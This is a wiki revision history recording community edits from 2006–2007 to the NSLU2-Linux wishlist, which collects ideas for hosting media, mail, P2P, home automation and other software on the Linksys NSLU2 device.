September 03, 2007, at 06:26 AM by marceln -- Remove false wiki words
Changed lines 249-250 from:
  • PDA? - Make a cheap PDA based on NSLU2
to:
  • PDA - Make a cheap PDA based on NSLU2
August 29, 2007, at 02:44 PM by cbase --
Changed line 112 from:
  • kplaylist: The kplaylist php-application. I can't get it to work on an unslung nslu2(with apache and mod_php installed and working).
to:
  • kplaylist: The kplaylist php-application. I can't get it to work on an unslung nslu2(with apache and mod_php installed and working).
Changed lines 259-262 from:
  • Standby battery - am I correct in supposing that the NSLU2 does not automatically switch itself on when power is restored after a cut? in which case it might be a good idea to put it onto a UPS, but a UPS seems overkill for such a low-power device so I wonder if there's an easy way of giving it a standby battery.
  • Built-in sound - on x86 there's a kernel patch to use the PC speaker as a low-quality sound card that can play any sound; I think it works by modulating the durations of very short beeps. Any ideas if this can be done on NSLU2 hardware? would need lots of kernel coding I know.
to:
  • Standby battery - am I correct in supposing that the NSLU2 does not automatically switch itself on when power is restored after a cut? in which case it might be a good idea to put it onto a UPS, but a UPS seems overkill for such a low-power device so I wonder if there's an easy way of giving it a standby battery. -> see the HowTo: http://www.nslu2-linux.org/wiki/HowTo/ForcePowerAlwaysOn
  • Built-in sound - on x86 there's a kernel patch to use the PC speaker as a low-quality sound card that can play any sound; I think it works by modulating the durations of very short beeps. Any ideas if this can be done on NSLU2 hardware? would need lots of kernel coding I know. -> solution: 'beep'
August 13, 2007, at 02:43 AM by fcarolo -- formatting
Changed lines 253-254 from:
  • P2P? client -- Mutella: There is already an emule command line client, should be good to add a Gnutella command client too like Mutalla. Source code and information for Linux can be found here: http://mutella.sourceforge.net
to:
  • P2P client -- Mutella: There is already an emule command line client, should be good to add a Gnutella command client too like Mutalla. Source code and information for Linux can be found here: http://mutella.sourceforge.net
August 13, 2007, at 02:43 AM by fcarolo -- formatting
Changed lines 22-23 from:
  • Distributed Network Drives: - Using a datafarm filesystem like CleverSafe or Gfarm or any of there http://en.wikipedia.org/wiki/List_of_file_systems that would make a great cheap extendable data storage! see also http://del.icio.us/tag/distributed+filesystem for other alternatives
to:
  • Distributed Network Drives: - Using a datafarm filesystem like CleverSafe or Gfarm or any of there http://en.wikipedia.org/wiki/List_of_file_systems that would make a great cheap extendable data storage! see also http://del.icio.us/tag/distributed+filesystem for other alternatives.
Changed lines 28-31 from:
  • Support for Palm or PocketPC? devices as NSLU2 screen: I have a couple of old Palm-based devices (Clie and Visor) as well as an old PPC-e310 that are not that useful as PDA's. However all of them have LCD's and USB connections that can be leveraged to become an IO device for the slug. PPC support is available for linux trough the SynCE? project.

slug as ersatz Palm-Modem : use USB-IrDA stick to surf & WAP with a palm using SLIP-connection

to:
  • Support for Palm or PocketPC devices as NSLU2 screen: I have a couple of old Palm-based devices (Clie and Visor) as well as an old PPC-e310 that are not that useful as PDA's. However all of them have LCD's and USB connections that can be leveraged to become an IO device for the slug. PPC support is available for linux trough the SynCE project.
  • slug as ersatz Palm-Modem: use `USB-IrDA stick to surf & WAP with a palm using SLIP-connection
Changed lines 35-38 from:
* Alternative: Rig/deploy NSLU2s? as Environmental Sentries, monitoring (somehow) UPSs?, temp, humidity in remote locations.
  • Wish granted! See
to:
Alternative: Rig/deploy NSLU2s as Environmental Sentries, monitoring (somehow) UPSs, temp, humidity in remote locations.
  • Wish granted! See
Changed lines 65-66 from:
  • Humax 9200T PVR connectivity Connect the Slug to PVR's USB device socket and manage archiving of recorded content - similar to Puppy application for Topfield TF5800? PVR. Enthusiasts have written connection software for Windows and ported to MacOS? (search google for "Humax Media Controller GUI") - can some clever person make this work on the Slug?
to:
  • Humax 9200T PVR connectivity Connect the Slug to PVR's USB device socket and manage archiving of recorded content - similar to Puppy application for Topfield TF5800 PVR. Enthusiasts have written connection software for Windows and ported to MacOS (search google for "Humax Media Controller GUI") - can some clever person make this work on the Slug?
Changed lines 69-72 from:
  • MythTV? Master Backend: Before getting to using the slug as a full-fledged MythTV? backend complete with ATSC/DVB hardware tuner (as described below), perhaps it might be better to first just try getting the slug to work as just a master-backend (no video capture card/USB device, aka tuner). The way MythTV? can be set up, you can seperate the major functions into master-backend (the "brains"), the slave-backend (the recorder that has the tuner) and the front-end (the viewer). Why would you want to do it this way, you ask, as opposed to having all three functions be served by the same machine? Well, if you have the hardware and don't mind wasting energy, go ahead, but to me a slug would be the perfect "brains" machine that runs quietly & efficiently, 24/7 and simply wakes up the recorder when shows need to be recorded. As soon as recording is done (and other recordings don't need to take place for a while and no one is currently watching), the slave-backend shuts itself down. Whenever anyone wants to watch live TV or a previously recorded show, it turns on the frontend which will connect to the slave-backend (waking it up if it's alseep) which outputs the video feed. I also wonder if even at turbo'd 266Mhz slug will be fast enough to record HD MPEG-2 content in addition to handling the scheduling and video streaming duties; seems like it would get pretty taxed. Let's try to walk before we run...
  • HD-DVR: Add a USB DVB/ATSC hardware encoder/decoder to utilize the slug as a Digital Video Recorder (DVR) for HDTV. Broadband Technologies Inc.'s Air2PC ATSC USB or SkyStar USB or VBox? Communication's Cat’s Eye USB 3560 might be a good starting point. Support would likely be through the LinuxTV project and the 2.6 kernels. Eventual "Holy Grail" would be to use Slug as a MythTV backend for cheap/ultra-quiet recording & media serving.
to:
  • MythTV Master Backend: Before getting to using the slug as a full-fledged MythTV? backend complete with ATSC/DVB hardware tuner (as described below), perhaps it might be better to first just try getting the slug to work as just a master-backend (no video capture card/USB device, aka tuner). The way MythTV can be set up, you can seperate the major functions into master-backend (the "brains"), the slave-backend (the recorder that has the tuner) and the front-end (the viewer). Why would you want to do it this way, you ask, as opposed to having all three functions be served by the same machine? Well, if you have the hardware and don't mind wasting energy, go ahead, but to me a slug would be the perfect "brains" machine that runs quietly & efficiently, 24/7 and simply wakes up the recorder when shows need to be recorded. As soon as recording is done (and other recordings don't need to take place for a while and no one is currently watching), the slave-backend shuts itself down. Whenever anyone wants to watch live TV or a previously recorded show, it turns on the frontend which will connect to the slave-backend (waking it up if it's alseep) which outputs the video feed. I also wonder if even at turbo'd 266Mhz slug will be fast enough to record HD MPEG-2 content in addition to handling the scheduling and video streaming duties; seems like it would get pretty taxed. Let's try to walk before we run...
  • HD-DVR: Add a USB DVB/ATSC hardware encoder/decoder to utilize the slug as a Digital Video Recorder (DVR) for HDTV. Broadband Technologies Inc.'s Air2PC ATSC USB or SkyStar USB or VBox Communication's Cat’s Eye USB 3560 might be a good starting point. Support would likely be through the LinuxTV project and the 2.6 kernels. Eventual "Holy Grail" would be to use Slug as a MythTV backend for cheap/ultra-quiet recording & media serving.
Changed lines 83-88 from:
The PocketPC? version of Skype runs on ARM-based handhelds. Might it be possible to port this to the NSLU2? -- zippy@cs.brandeis.edu''
SkyDapter? Digicom 8E4251 is a very interesting device: a USB Skype client which transform your PSTN line into PSTN+Skype line! -- loreco_at_inwind_dot_it''
Skype does run on ARM but requires 316 MHz? processor for Linux requiremnt are 400MHz processor and 128 Mb of RAM...! -- anteprodan^dot^ hot^mail^com''
to:
The PocketPC version of Skype runs on ARM-based handhelds. Might it be possible to port this to the NSLU2? -- zippy@cs.brandeis.edu
SkyDapter Digicom 8E4251 is a very interesting device: a USB Skype client which transform your PSTN line into PSTN+Skype line! -- loreco_at_inwind_dot_it
Skype does run on ARM but requires 316 MHz? processor for Linux requiremnt are 400MHz processor and 128 Mb of RAM...! -- anteprodan^dot^ hot^mail^com
Changed lines 99-103 from:
  • RealPlayer?: or at least some way of reading & playing realaudio streams. HelixPlayer? looks like the best bet, but needs the build adjusted for a slug, and needs confirmation it can be built with no UI.
  • Type'n'play: Some weeks ago I found out that the NSLU seems to be the perfect platform for this Sourceforge.net project (http://sourceforge.net/projects/typenplay/). You would attach an audio interface and usb keyboard, scp songs to the NSLU2, import and manage them via the web interface, and then just type in a part of a song title and listen to it. If someone's curious and has that hardware (usb sound & keyboard), just mail me (the project admin of that sourceforge project). Knowing some PHP and C is of advantage.

Including that project (once it's finished) would be great.

to:
  • RealPlayer: or at least some way of reading & playing realaudio streams. HelixPlayer looks like the best bet, but needs the build adjusted for a slug, and needs confirmation it can be built with no UI.
  • Type'n'play: Some weeks ago I found out that the NSLU seems to be the perfect platform for this Sourceforge.net project (http://sourceforge.net/projects/typenplay/). You would attach an audio interface and usb keyboard, scp songs to the NSLU2, import and manage them via the web interface, and then just type in a part of a song title and listen to it. If someone's curious and has that hardware (usb sound & keyboard), just mail me (the project admin of that sourceforge project). Knowing some PHP and C is of advantage. Including that project (once it's finished) would be great.
Changed lines 122-124 from:
  • Webmail (Squirrelmail): In addition to an IMAP mailserver, webmail would be a really handy additional so when no connection from within a dedicated mailclient is possible, webmail is a good alternative. (I will have a go at this myself, although I have 0 experience in setting it up). comment: I sepent some time to get "popper" a free php webmailer using PHP and MYSQL running on my unslung NSLU2 at least the POP3? (works fine with X-mail on the Slug and multiple external POP3?-accounts) and the mailreader are working reasonably well (sendmail is less important for me) I did not finish the project, but I am using popper everyday to read mails on my diskless knoppix-notebook. Questions mailto: chriwi@chriwi.name Squirrelmail works fine on my Slug (Unslung 6.8). As long as your web server supports PHP (4 or 5) it should just work. As it's PHP it does not need an ipkg
    • tawalker: I've installed Roundcube on my slug's php-thttpd/PHP/MySQL? (Unslung 6.8) setup. Roundcube is a PHP-based webmail client (needs MySQL?) with AJAX (so it's more like a desktop e-mail program in operation). It's in an early beta, a bit slow on the slug and occasionally crashes, but still worth considering. If I'm at home I tend to use whatever e-mail program I have (Thunderbird, Evolution, Sylpheed), but Roundcube is good for external access (HTTP over SSH). (19/12/2006)
to:
  • Webmail (Squirrelmail): In addition to an IMAP mailserver, webmail would be a really handy additional so when no connection from within a dedicated mailclient is possible, webmail is a good alternative. (I will have a go at this myself, although I have 0 experience in setting it up). comment: I sepent some time to get "popper" a free php webmailer using PHP and MYSQL running on my unslung NSLU2 at least the POP3 (works fine with X-mail on the Slug and multiple external POP3?-accounts) and the mailreader are working reasonably well (sendmail is less important for me) I did not finish the project, but I am using popper everyday to read mails on my diskless knoppix-notebook. Questions mailto: chriwi@chriwi.name Squirrelmail works fine on my Slug (Unslung 6.8). As long as your web server supports PHP (4 or 5) it should just work. As it's PHP it does not need an ipkg
    • tawalker: I've installed Roundcube on my slug's php-thttpd/PHP/MySQL (Unslung 6.8) setup. Roundcube is a PHP-based webmail client (needs MySQL) with AJAX (so it's more like a desktop e-mail program in operation). It's in an early beta, a bit slow on the slug and occasionally crashes, but still worth considering. If I'm at home I tend to use whatever e-mail program I have (Thunderbird, Evolution, Sylpheed), but Roundcube is good for external access (HTTP over SSH). (19/12/2006)
Changed line 129 from:
  • Peer2Peer?-Client: Use the slug as filesharing server to connect to BitTorrent or eMule. Save the incomming files on the connected hdd and share it over the homenetwork. This would be the end of my noisy filesharing-pc. [ctorrent]
to:
  • Peer2Peer-Client: Use the slug as filesharing server to connect to BitTorrent or eMule. Save the incomming files on the connected hdd and share it over the homenetwork. This would be the end of my noisy filesharing-pc. [ctorrent]
Changed lines 156-157 from:
  • CanonAllInOne: Driver that supports printing and scanning with a Canon All-In_one printer like the Pixma MP760?.
to:
  • CanonAllInOne: Driver that supports printing and scanning with a Canon All-In_one printer like the Pixma MP760.
Changed lines 170-171 from:
  • NDAS netdisk driver - XIMETA NetDISK? driver for unslung.
to:
  • NDAS netdisk driver - XIMETA NetDISK driver for unslung.
Changed lines 235-236 from:
to:
  • Bluetooth PAN access point: Add a Bluetooth dongle and make the slug to route the wireless traffic to the ethernet.
Changed lines 239-240 from:
Creating the equivelent of a WAP gateway is easiest using Bluetooth phone. See previous wish Bluetooth PAN access point?.
to:
Creating the equivelent of a WAP gateway is easiest using Bluetooth phone. See previous wish Bluetooth PAN access point.
Changed lines 253-256 from:
  • P2P client: Mutella?: There is already an emule command line client, should be good to add a Gnutella command client too like Mutalla. Source code and information for Linux can be found here: http://mutella.sourceforge.net
to:
  • P2P? client -- Mutella: There is already an emule command line client, should be good to add a Gnutella command client too like Mutalla. Source code and information for Linux can be found here: http://mutella.sourceforge.net
Changed lines 263-264 from:
  • Barracuda Drive - A port of http://barracudaserver.com/products/HomeServer/ to Unslung. A easy to use, easy to manage, easy to setup secure WebDAV? server with granular user/group ACL management.
to:
  • Barracuda Drive - A port of http://barracudaserver.com/products/HomeServer/ to Unslung. A easy to use, easy to manage, easy to setup secure WebDAV? server with granular user/group ACL management. This is not an open source product, so it cannot be ported to the NSLU2.
August 11, 2007, at 05:09 AM by GemNEye -- WebDAV Support - Barracuda Drive
Added lines 266-267:
  • Barracuda Drive - A port of http://barracudaserver.com/products/HomeServer/ to Unslung. A easy to use, easy to manage, easy to setup secure WebDAV? server with granular user/group ACL management.
August 06, 2007, at 08:41 PM by JimmyNeuron -- kplaylist
Changed lines 114-115 from:
to:
   * I have a working kplaylist on my NSLU2, but with lighttpd and php-fcgi. It runs quite smooth...
July 27, 2007, at 11:20 PM by dennyhalimcom --
July 27, 2007, at 11:17 PM by dennyhalimcom --
Changed lines 22-23 from:
  • Distributed Network Drives: - Using a datafarm filesystem like CleverSafe or Gfarm or any of there http://en.wikipedia.org/wiki/List_of_file_systems that would make a great cheap extendable data storage!
to:
  • Distributed Network Drives: - Using a datafarm filesystem like CleverSafe or Gfarm or any of there http://en.wikipedia.org/wiki/List_of_file_systems that would make a great cheap extendable data storage! see also http://del.icio.us/tag/distributed+filesystem for other alternatives
July 25, 2007, at 01:33 PM by cbmd --
Added lines 111-112:
  • install inetutils, it contains a telnet-client
July 22, 2007, at 03:24 AM by elcano --
Changed lines 57-58 from:
  • Home Controller Use the Slug as a small home automation system via a USB-to-Serial converter. (I'd like to use it to control and monitor my network attached Home Automation Controller. I already have a Visual Basic Script that performs this in Windows, but I'd like to start a new effort for running this from the NSLU2 probably in Python, shell script of other scripting language. However I dont know how to open a connection to a TCP address from the NSLU2. Any link to reference material or sample script would be greatly appreciated. Thanks. ericelcano@hotmail.com )
to:
  • Home Controller Use the Slug as a small home automation system via a USB-to-Serial converter. Or serving as an xPL/xAP server via the network.
July 06, 2007, at 04:16 PM by elcano -- Control network based home automation controller.
Changed lines 57-58 from:
  • Home Controller Use the Slug as a small home automation system via a USB-to-Serial converter
to:
  • Home Controller Use the Slug as a small home automation system via a USB-to-Serial converter. (I'd like to use it to control and monitor my network attached Home Automation Controller. I already have a Visual Basic Script that performs this in Windows, but I'd like to start a new effort for running this from the NSLU2 probably in Python, shell script of other scripting language. However I dont know how to open a connection to a TCP address from the NSLU2. Any link to reference material or sample script would be greatly appreciated. Thanks. ericelcano@hotmail.com )
May 30, 2007, at 07:29 PM by ssb22 -- added a few more ideas
Added lines 255-262:
  • Alarm to wake you up in the morning either by ringing the built-in beeper (how to do that?) or through USB sound. It would also be good if the power button could be intercepted so that a short (not long) press of the power button can tell the alarm program to stop (otherwise you'd need to use a USB input device or else power cycle). (If using a USB input device then it might not be necessary to make it a keyboard or serial device - maybe just a USB mouse would be enough, if the software can listen for a button press. But it would be nicer if the software can intercept the power key.)
  • Speech synthesis can probably be done using eSpeak http://espeak.sourceforge.net/ (which is very lightweight) and sent to a USB soundcard. Add a USB keyboard and emacspeak and you have a complete computer system for blind users (no display needed). Also good for announcing reminders etc.
  • Standby battery - am I correct in supposing that the NSLU2 does not automatically switch itself on when power is restored after a cut? in which case it might be a good idea to put it onto a UPS, but a UPS seems overkill for such a low-power device so I wonder if there's an easy way of giving it a standby battery.
  • Built-in sound - on x86 there's a kernel patch to use the PC speaker as a low-quality sound card that can play any sound; I think it works by modulating the durations of very short beeps. Any ideas if this can be done on NSLU2 hardware? would need lots of kernel coding I know.
April 29, 2007, at 07:33 PM by orn -- HPLIP support requested
Changed lines 152-153 from:
to:
  • HPLIP driver: The HPLIP Driver is more recent and covers more printers. (http://hplip.sourceforge.net/). It'd be great to be able to print from and scan to the Slug!
April 13, 2007, at 09:27 PM by stefan -- added link to carputer howto
Changed lines 179-180 from:

Update: there will be a howto soon for this project.

to:

Update: there will be a howto soon for this project.

April 12, 2007, at 07:58 PM by Jacob Yeh -- Added entry for using the slug as a MythTV Master backend only.
Added lines 69-70:
  • MythTV? Master Backend: Before getting to using the slug as a full-fledged MythTV? backend complete with ATSC/DVB hardware tuner (as described below), perhaps it might be better to first just try getting the slug to work as just a master-backend (no video capture card/USB device, aka tuner). The way MythTV? can be set up, you can seperate the major functions into master-backend (the "brains"), the slave-backend (the recorder that has the tuner) and the front-end (the viewer). Why would you want to do it this way, you ask, as opposed to having all three functions be served by the same machine? Well, if you have the hardware and don't mind wasting energy, go ahead, but to me a slug would be the perfect "brains" machine that runs quietly & efficiently, 24/7 and simply wakes up the recorder when shows need to be recorded. As soon as recording is done (and other recordings don't need to take place for a while and no one is currently watching), the slave-backend shuts itself down. Whenever anyone wants to watch live TV or a previously recorded show, it turns on the frontend which will connect to the slave-backend (waking it up if it's alseep) which outputs the video feed. I also wonder if even at turbo'd 266Mhz slug will be fast enough to record HD MPEG-2 content in addition to handling the scheduling and video streaming duties; seems like it would get pretty taxed. Let's try to walk before we run...
March 16, 2007, at 01:34 PM by GeneralSlug -- Delete
Deleted lines 251-253:

I currently use PPTP Client 1.7.1 - http://pptpclient.sourceforge.net/ - in conjunction with a Thomson ST 585 ADSL2?+ modem to establish a PPPoA?-PPTP relay link to my ISP.

PPTP 1.7.1 is the only version of PPTP Client that works reliably on the SLUG. I've only being able to successfully compile PPTP natively on the NSLU2 (OpenSlug 3.10). The PPTP client works well; but triggers the Slug's alignment trap: if the data structures were properly aligned then PPTP would be more efficient. I am surprised that PPTP Client is not included in OpenSLUG?.

March 16, 2007, at 01:18 PM by GeneralSlug -- PPTP (client) 1.7.1
Added lines 249-254:

I currently use PPTP Client 1.7.1 - http://pptpclient.sourceforge.net/ - in conjunction with a Thomson ST 585 ADSL2?+ modem to establish a PPPoA?-PPTP relay link to my ISP.

PPTP 1.7.1 is the only version of PPTP Client that works reliably on the SLUG. I've only being able to successfully compile PPTP natively on the NSLU2 (OpenSlug 3.10). The PPTP client works well; but triggers the Slug's alignment trap: if the data structures were properly aligned then PPTP would be more efficient. I am surprised that PPTP Client is not included in OpenSLUG?.

March 11, 2007, at 12:06 PM by jan -- WOL support
Changed lines 32-33 from:
to:
  • NSLU2 being able to be woken up by WOL Would be nice to be able to wake the NSLU2 by WOL, so by use of a Master-Slave power socket the whole thing could be fully remotely started and stopped.
February 07, 2007, at 12:29 AM by Ryan --
Changed lines 127-129 from:
  • Peer Guardian: Use the slug with ctorrent, rtorrent or torrentflux and block out bad ip's from its blocklist. The program small, effeicentand open-source.
to:
  • Peer Guardian: Use the slug with ctorrent, rtorrent or torrentflux and block out bad ip's from its blocklist. The program small, effeicent and open-source.
February 07, 2007, at 12:28 AM by Ryan --
Changed lines 127-129 from:
to:
  • Peer Guardian: Use the slug with ctorrent, rtorrent or torrentflux and block out bad ip's from its blocklist. The program small, effeicentand open-source.
January 29, 2007, at 05:10 PM by erik --
Added lines 168-169:
  • TOR Onion Router It would be very nice to run the slug as a node in a TOR network.
Deleted lines 183-184:
  • TOR Onion Router It would be very nice to run the slug as a node in a TOR network.
January 29, 2007, at 05:08 PM by erik --
Changed lines 182-183 from:
to:
  • TOR Onion Router It would be very nice to run the slug as a node in a TOR network.
January 25, 2007, at 12:54 AM by al -- slip via IrDA for palm
Added lines 30-32:

slug as ersatz Palm-Modem : use USB-IrDA stick to surf & WAP with a palm using SLIP-connection

January 06, 2007, at 06:13 PM by Janne -- missile
Changed lines 166-167 from:
  • MISSILE COMMAND - Control your Marks and Spencer, Dreaam Cheeky USB Missile Launcher. Se Scott Weston's pymissile.
to:
  • MISSILE COMMAND - Control your Marks and Spencer, Dream Cheeky USB Missile Launcher. Se Scott Weston's pymissile.
January 06, 2007, at 06:08 PM by Janne -- missile command
Added lines 166-167:
  • MISSILE COMMAND - Control your Marks and Spencer, Dreaam Cheeky USB Missile Launcher. Se Scott Weston's pymissile.
January 01, 2007, at 09:30 PM by tawalker -- Added brief comment to e-mail server \"want\" item, about my setup
Changed lines 218-219 from:
  • Email-Server: Add a mail server to the box so it polls the POP/IMAP-Servers frequently and can be accessed from every computer within the network to download the mails locally (e.g. as IMAP-server) [some done: xmail, postfix, fetchmail, cyrus-imapd, bogofilter, perl-spamassassin]
to:
  • Email-Server: Add a mail server to the box so it polls the POP/IMAP-Servers frequently and can be accessed from every computer within the network to download the mails locally (e.g. as IMAP-server) [some done: xmail, postfix, fetchmail, cyrus-imapd, bogofilter, perl-spamassassin]
    • tawalker: I've put such a system together - it downloads all our POP3? mails (fetchmail) and routes them to the family users' mailboxes (via sendmail and procmail), where we can pick them up (IMAP via dovecot, or webmail via php-thttpd/RoundCube?). It's not all configured "out of the box", but there are plenty of Linux howtos on the Net which should point the way. Works great. (1/1/2007))
December 19, 2006, at 01:26 PM by Tim Walker -- Updated webmail and procmail entries with my comments
Changed lines 115-116 from:
to:
  • tawalker: I've installed Roundcube on my slug's php-thttpd/PHP/MySQL? (Unslung 6.8) setup. Roundcube is a PHP-based webmail client (needs MySQL?) with AJAX (so it's more like a desktop e-mail program in operation). It's in an early beta, a bit slow on the slug and occasionally crashes, but still worth considering. If I'm at home I tend to use whatever e-mail program I have (Thunderbird, Evolution, Sylpheed), but Roundcube is good for external access (HTTP over SSH). (19/12/2006)
Changed lines 127-128 from:
  • procmail: Add a procmail ipkg packet to sort mails get over fetchmail. Maybe this will be also a next step to get a complete mailserver.
to:
  • procmail: Add a procmail ipkg packet to sort mails get over fetchmail. Maybe this will be also a next step to get a complete mailserver. (tawalker: procmail is in the Unslung feeds. I now have a pretty comprehensive e-mail system, largely ported over from the PC which the 'slug' replaced. Downloads all our POP3? mails (fetchmail) and routes them to the family users' mailboxes (via sendmail and procmail), where we can pick them up (IMAP via dovecot, or webmail via php-thttpd/RoundCube?). (18/12/2006))
December 17, 2006, at 12:16 AM by mrdj -- Added VNC Repeater
Added lines 136-137:
  • VNCRepeater: To bring together happy VNC Clients and Servers across the world!
December 03, 2006, at 11:33 PM by daniel -- Removing \'...experiments...\' note as I never got it working.
Changed lines 28-29 from:
  • Support for Palm or PocketPC? devices as NSLU2 screen: I have a couple of old Palm-based devices (Clie and Visor) as well as an old PPC-e310 that are not that useful as PDA's. However all of them have LCD's and USB connections that can be leveraged to become an IO device for the slug. PPC support is available for linux trough the SynCE? project. I'll start doing some experiments and let you know.
to:
  • Support for Palm or PocketPC? devices as NSLU2 screen: I have a couple of old Palm-based devices (Clie and Visor) as well as an old PPC-e310 that are not that useful as PDA's. However all of them have LCD's and USB connections that can be leveraged to become an IO device for the slug. PPC support is available for linux trough the SynCE? project.
Changed lines 33-34 from:
  • Wish granted! See
to:
  • Wish granted! See
November 26, 2006, at 11:26 AM by anonymous -- mutalle
Added lines 234-235:
  • P2P client: Mutella?: There is already an emule command line client, should be good to add a Gnutella command client too like Mutalla. Source code and information for Linux can be found here: http://mutella.sourceforge.net
November 14, 2006, at 09:59 PM by fin -- edited Humax 9200T PVR wish
Changed lines 61-62 from:
  • Humax 9200T PVR connectivity Connect the Slug to PVR's USB device socket and manage archiving of recorded content - similar to Puppy application for Topfield TF5800? PVR. Connection software for PC and Mac exists (see this thread on DigitalSpy) - can some clever person make this work on the Slug?
to:
  • Humax 9200T PVR connectivity Connect the Slug to PVR's USB device socket and manage archiving of recorded content - similar to Puppy application for Topfield TF5800? PVR. Enthusiasts have written connection software for Windows and ported to MacOS? (search google for "Humax Media Controller GUI") - can some clever person make this work on the Slug?
November 14, 2006, at 09:55 PM by fin -- added Humax 9200T PVR wish to Multimedia
Added lines 61-62:
  • Humax 9200T PVR connectivity Connect the Slug to PVR's USB device socket and manage archiving of recorded content - similar to Puppy application for Topfield TF5800? PVR. Connection software for PC and Mac exists (see this thread on DigitalSpy) - can some clever person make this work on the Slug?
November 14, 2006, at 06:50 PM by Pixel83 --
Changed lines 93-94 from:
  • Type'n'play: Some weeks ago I found out that the NSLU seems to be the perfect platform for this Sourceforge.net project (http://sourceforge.net/projects/typenplay/). You would attach an audio interface and usb keyboard, scp songs to the NSLU2, import and manage them via the web interface, and then just type in a part of a song title and listen to it.

If someone's curious and has that hardware (usb sound & keyboard), just mail me (the project admin of that sourceforge project). Knowing some PHP and C is of advantage.

to:
  • Type'n'play: Some weeks ago I found out that the NSLU seems to be the perfect platform for this Sourceforge.net project (http://sourceforge.net/projects/typenplay/). You would attach an audio interface and usb keyboard, scp songs to the NSLU2, import and manage them via the web interface, and then just type in a part of a song title and listen to it. If someone's curious and has that hardware (usb sound & keyboard), just mail me (the project admin of that sourceforge project). Knowing some PHP and C is of advantage.
November 14, 2006, at 06:49 PM by Pixel83 --
Added lines 93-96:
  • Type'n'play: Some weeks ago I found out that the NSLU seems to be the perfect platform for this Sourceforge.net project (http://sourceforge.net/projects/typenplay/). You would attach an audio interface and usb keyboard, scp songs to the NSLU2, import and manage them via the web interface, and then just type in a part of a song title and listen to it.

If someone's curious and has that hardware (usb sound & keyboard), just mail me (the project admin of that sourceforge project). Knowing some PHP and C is of advantage. Including that project (once it's finished) would be great.

October 21, 2006, at 09:55 PM by japher -- move extract-xiso to fulfilled section
Deleted lines 29-32:
  • XISO_EXTRACT: Port of this XBOX ISO utility will be very useful, since it seems impossible to mount XISO file as loop device at the moment for NSLU2. Source code for Linux is available here: http://sourceforge.net/projects/extract-xiso
    • Wish granted! See
Changed lines 226-228 from:
  • PDA? - Make a cheap PDA based on NSLU2
to:
  • PDA? - Make a cheap PDA based on NSLU2
  • EXTRACT-XISO: Port of this XBOX ISO utility will be very useful, since it seems impossible to mount XISO file as loop device at the moment for NSLU2. Source code for Linux is available here: http://sourceforge.net/projects/extract-xiso
October 15, 2006, at 04:56 PM by RichardCottrill -- Added Openfiler request
Changed lines 171-173 from:
to:
  • Openfiler - Port the Openfiler (or similar) NAS/SAN distro acros to the NSLU2 to complete the feature set with NFS/Samba/HTTP/iSCSI/etc... I've started some poking about, but no progress to date.
October 05, 2006, at 02:02 AM by krakoukas -- Multiple Slug as Distributed Network Drives
Changed lines 22-23 from:
to:
  • Distributed Network Drives: - Using a datafarm filesystem like CleverSafe or Gfarm or any of there http://en.wikipedia.org/wiki/List_of_file_systems that would make a great cheap extendable data storage!
August 21, 2006, at 04:47 PM by me -- add info on rtorrent
Changed lines 120-121 from:
  • py-bittorrent is too resource heavy. The solution is rtorrent. It has loads of features (multi-torrent, upnp etc), and doesn't eat too much cpu or ram. v0.3 is in the repository, but we really need v0.5+
to:
  • py-bittorrent is too resource heavy. The solution is rtorrent. It has loads of features (multi-torrent, upnp etc), and doesn't eat too much cpu or ram. v0.3 is in the repository, but we really need v0.5+
Changed lines 207-208 from:
  • We need rtorrent v0.5+!
to:
  • We need rtorrent v0.5+!
August 21, 2006, at 04:45 PM by me -- add info on rtorrent
Changed lines 120-121 from:
to:
  • py-bittorrent is too resource heavy. The solution is rtorrent. It has loads of features (multi-torrent, upnp etc), and doesn't eat too much cpu or ram. v0.3 is in the repository, but we really need v0.5+
Changed lines 207-208 from:
to:
  • We need rtorrent v0.5+!
August 21, 2006, at 07:56 AM by jelle --
Added lines 36-37:
  • Wish granted! See
Changed lines 66-67 from:
  • HD-DVR: Add a USB DVB/ATSC hardware encoder/decoder to utilize the slug as a Digital Video Recorder (DVR) for HDTV. Broadband Technologies Inc.'s Air2PC ATSC USB or SkyStar USB or VBox? Communication's Catís Eye USB 3560 might be a good starting point. Support would likely be through the LinuxTV project and the 2.6 kernels. Eventual "Holy Grail" would be to use Slug as a MythTV backend for cheap/ultra-quiet recording & media serving.
to:
  • HD-DVR: Add a USB DVB/ATSC hardware encoder/decoder to utilize the slug as a Digital Video Recorder (DVR) for HDTV. Broadband Technologies Inc.'s Air2PC ATSC USB or SkyStar USB or VBox? Communication's Cat’s Eye USB 3560 might be a good starting point. Support would likely be through the LinuxTV project and the 2.6 kernels. Eventual "Holy Grail" would be to use Slug as a MythTV backend for cheap/ultra-quiet recording & media serving.
August 18, 2006, at 03:11 PM by Positivo -- BitTorrent on DebianSlug
Changed lines 117-118 from:
to:
  • Positivo : I did this on DebianSlug with bittornado + torrentflux (web interface) : Once it starts downloading the slug becomes to slow to use for anything else (4 torrents running simultaneously). It's not even possible to shut down the torrents : ssh and webinterface or so slow that you get timeouts. But if you let it run it will fetch your downloads just fine (lot's of hard disk activity though, swapping ?).
July 25, 2006, at 08:25 AM by me -- add opensshd with tcpwrappers
Added lines 95-96:
  • opensshd with tcpwrappers: Currently opensshd is compiled without tcpwrappers. It should use tcpwrappers so that hosts.deny and .allow can be used.
July 16, 2006, at 08:41 AM by BWare -- Added virtualization request
Added lines 20-22:
  • Virtual Server support: - Applying the linux-vserver or openvz patches to the standard build and include the management package, so seperation of the main NSLU2 functions (hardware management) and service related functions (serving files, webpages, multimedia, etc.) can be realised in a secure fashion.
July 13, 2006, at 06:50 PM by Dutch --
Added lines 149-150:
  • Lenya and Cocoon for Apache - It would be really cool if these could be ported. They currently require the java sdk. Would jikes do? It'd be nice to have a content manglement system on my slug.... :^)
July 09, 2006, at 03:11 PM by japher --
Changed lines 26-28 from:
  • XISO_EXTRACT: Port of this XBOX ISO utility will be very useful, since it seems impossible to mount XISO file as loop device at the moment for NSLU2. Source code for Linux is available here:

http://sourceforge.net/projects/extract-xiso

to:
  • XISO_EXTRACT: Port of this XBOX ISO utility will be very useful, since it seems impossible to mount XISO file as loop device at the moment for NSLU2. Source code for Linux is available here: http://sourceforge.net/projects/extract-xiso
    • Wish granted! See
June 25, 2006, at 10:07 AM by test --
Deleted lines 0-1:

tesr

June 25, 2006, at 10:05 AM by test --
Added lines 1-2:

tesr

June 19, 2006, at 05:13 PM by lxs4ever -- ZoneMinder - Linux CCTV application
Changed lines 54-55 from:
to:
